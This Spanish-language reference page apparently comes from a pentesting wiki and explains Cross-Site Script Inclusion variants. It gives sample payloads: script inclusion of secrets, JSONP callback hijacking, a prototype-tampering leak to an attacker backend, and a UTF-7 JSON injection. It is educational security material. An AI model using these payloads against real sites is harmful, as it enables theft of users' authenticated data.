XSSI (Cross-Site Script Inclusion)

Información Básica

Cross-Site Script Inclusion (XSSI) es una vulnerabilidad que surge de la naturaleza de la etiqueta script en HTML. A diferencia de la mayoría de los recursos, que están sujetos a la Same-Origin Policy (SOP), los scripts pueden ser incluidos desde diferentes dominios. Este comportamiento está destinado a facilitar el uso de bibliotecas y otros recursos alojados en diferentes servidores, pero también introduce un riesgo potencial de seguridad.

Características Clave de XSSI:

• Elusión de SOP: Los scripts están exentos de la Same-Origin Policy, lo que les permite ser incluidos entre dominios.
• Exposición de Datos: Un atacante puede explotar este comportamiento para leer datos cargados a través de la etiqueta script.
• Impacto en JavaScript/JSONP Dinámico: XSSI es particularmente relevante para JavaScript dinámico o JSON con Padding (JSONP). Estas tecnologías a menudo utilizan información de "autoridad ambiental" (como cookies) para la autenticación. Cuando se realiza una solicitud de script a un host diferente, estas credenciales (por ejemplo, cookies) se incluyen automáticamente en la solicitud.
• Filtración de Token de Autenticación: Si un atacante puede engañar al navegador de un usuario para que solicite un script de un servidor que controlan, podrían acceder a información sensible contenida en estas solicitudes.

Tipos

1. JavaScript Estático - Este representa la forma convencional de XSSI.
2. JavaScript Estático con Autenticación - Este tipo es distinto porque requiere autenticación para acceder.
3. JavaScript Dinámico - Involucra JavaScript que genera contenido dinámicamente.
4. No-JavaScript - Se refiere a vulnerabilidades que no involucran JavaScript directamente.

La siguiente información es un resumen de https://www.scip.ch/en/?labs.20160414. Revísalo para más detalles.

XSSI Regular

En este enfoque, la información privada está incrustada dentro de un archivo JavaScript accesible globalmente. Los atacantes pueden identificar estos archivos utilizando métodos como lectura de archivos, búsquedas de palabras clave o expresiones regulares. Una vez localizados, el script que contiene información privada puede ser incluido en contenido malicioso, permitiendo el acceso no autorizado a datos sensibles. A continuación se muestra una técnica de explotación de ejemplo:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script>
alert(JSON.stringify(confidential_keys[0]))
</script>

Dynamic-JavaScript-based-XSSI y Authenticated-JavaScript-XSSI

Estos tipos de ataques XSSI implican que información confidencial se añade dinámicamente al script en respuesta a la solicitud de un usuario. La detección se puede realizar enviando solicitudes con y sin cookies y comparando las respuestas. Si la información difiere, puede indicar la presencia de información confidencial. Este proceso se puede automatizar utilizando herramientas como la extensión Burp DetectDynamicJS.

Si los datos confidenciales se almacenan en una variable global, se pueden explotar utilizando métodos similares a los utilizados en XSSI Regular. Sin embargo, si los datos confidenciales se incluyen en una respuesta JSONP, los atacantes pueden secuestrar la función de callback para recuperar la información. Esto se puede hacer manipulando objetos globales o configurando una función para ser ejecutada por la respuesta JSONP, como se demuestra a continuación:

<script>
var angular = function () {
return 1
}
angular.callbacks = function () {
return 1
}
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script
src="https://site.tld/p?jsonp=angular.callbacks._7"
type="text/javascript"></script>

<script>
leak = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Para las variables que no residen en el espacio de nombres global, prototype tampering a veces puede ser explotado. Esta técnica aprovecha el diseño de JavaScript, donde la interpretación del código implica recorrer la cadena de prototipos para localizar la propiedad llamada. Al anular ciertas funciones, como Array's slice, los atacantes pueden acceder y filtrar variables no globales:

Array.prototype.slice = function () {
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this)
}

Más detalles sobre los vectores de ataque se pueden encontrar en el trabajo del investigador de seguridad Sebastian Lekies, quien mantiene una lista de vectores.

Non-Script-XSSI

La investigación de Takeshi Terada introduce otra forma de XSSI, donde archivos Non-Script, como CSV, son filtrados entre orígenes al ser incluidos como fuentes en una etiqueta script. Instancias históricas de XSSI, como el ataque de Jeremiah Grossman en 2006 para leer una libreta de direcciones completa de Google y la filtración de datos JSON de Joe Walker en 2007, destacan la gravedad de estas amenazas. Además, Gareth Heyes describe una variante de ataque que involucra JSON codificado en UTF-7 para escapar del formato JSON y ejecutar scripts, efectiva en ciertos navegadores:

;[
{
friend: "luke",
email:
"+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-",
},
]

<script
src="http://site.tld/json-utf7.json"
type="text/javascript"
charset="UTF-7"></script>